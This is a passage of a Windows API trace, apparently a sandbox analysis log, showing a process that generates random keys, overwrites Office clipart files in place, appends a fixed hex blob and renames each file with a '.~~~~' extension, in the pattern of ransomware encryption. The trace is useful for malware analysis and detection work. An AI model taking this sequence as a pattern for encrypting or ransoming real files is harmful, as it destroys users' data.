	[0091.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.467] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.467] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.467] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.467] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.467] CloseHandle (hObject=0x134) returned 1
	[0091.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.~~~~")) returned 1
	[0091.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.468] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.468] GetLastError () returned 0x0
	[0091.473] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.474] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.474] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.474] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21146455920) returned 1
	[0091.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa04d90f0, dwHighDateTime=0x1d60e1e)) 
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a22c0
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a22c0 | out: hHeap=0x300000) returned 1
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384cf0
	[0091.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.475] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.475] GetLastError () returned 0x0
	[0091.475] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.475] GetLastError () returned 0x0
	[0091.479] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbc02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.479] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x43fe, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x43fe, lpOverlapped=0x0) returned 1
	[0091.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.492] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.493] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.501] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.513] CloseHandle (hObject=0x128) returned 1
	[0091.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.513] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.~~~~")) returned 1
	[0091.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.514] GetLastError () returned 0x0
	[0091.515] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.516] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.516] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.516] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21150592474) returned 1
	[0091.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa05253b0, dwHighDateTime=0x1d60e1e)) 
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386a40
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386a40 | out: hHeap=0x300000) returned 1
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385080
	[0091.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.516] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.516] GetLastError () returned 0x0
	[0091.516] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.517] GetLastError () returned 0x0
	[0091.519] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdcce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.520] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2332, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x2332, lpOverlapped=0x0) returned 1
	[0091.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.520] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.520] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.520] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.520] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.520] CloseHandle (hObject=0x128) returned 1
	[0091.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.~~~~")) returned 1
	[0091.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.521] GetLastError () returned 0x0
	[0091.521] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.522] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.522] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21151255779) returned 1
	[0091.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa054b510, dwHighDateTime=0x1d60e1e)) 
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386a78
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386a78 | out: hHeap=0x300000) returned 1
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385410
	[0091.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.523] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.523] GetLastError () returned 0x0
	[0091.523] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.523] GetLastError () returned 0x0
	[0091.525] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc970, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.525] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3690, lpOverlapped=0x0) returned 1
	[0091.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.526] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.526] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.526] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.526] CloseHandle (hObject=0x128) returned 1
	[0091.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.~~~~")) returned 1
	[0091.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.529] GetLastError () returned 0x0
	[0091.530] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.530] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.530] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21152061447) returned 1
	[0091.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa054b510, dwHighDateTime=0x1d60e1e)) 
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ab0
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ab0 | out: hHeap=0x300000) returned 1
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3854a8
	[0091.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.531] GetLastError () returned 0x0
	[0091.531] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.531] GetLastError () returned 0x0
	[0091.533] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff5930, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.533] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0xa6d0, lpOverlapped=0x0) returned 1
	[0091.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.534] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.534] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.534] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.534] CloseHandle (hObject=0x128) returned 1
	[0091.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.~~~~")) returned 1
	[0091.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.535] GetLastError () returned 0x0
	[0091.637] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.638] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.638] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21162945685) returned 1
	[0091.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa067c010, dwHighDateTime=0x1d60e1e)) 
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9500
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9500 | out: hHeap=0x300000) returned 1
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x385ff0
	[0091.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.645] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.646] GetLastError () returned 0x0
	[0091.646] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.646] GetLastError () returned 0x0
	[0091.649] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffede6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.649] WriteFile (in: hFile=0x120, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x121a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x121a, lpOverlapped=0x0) returned 1
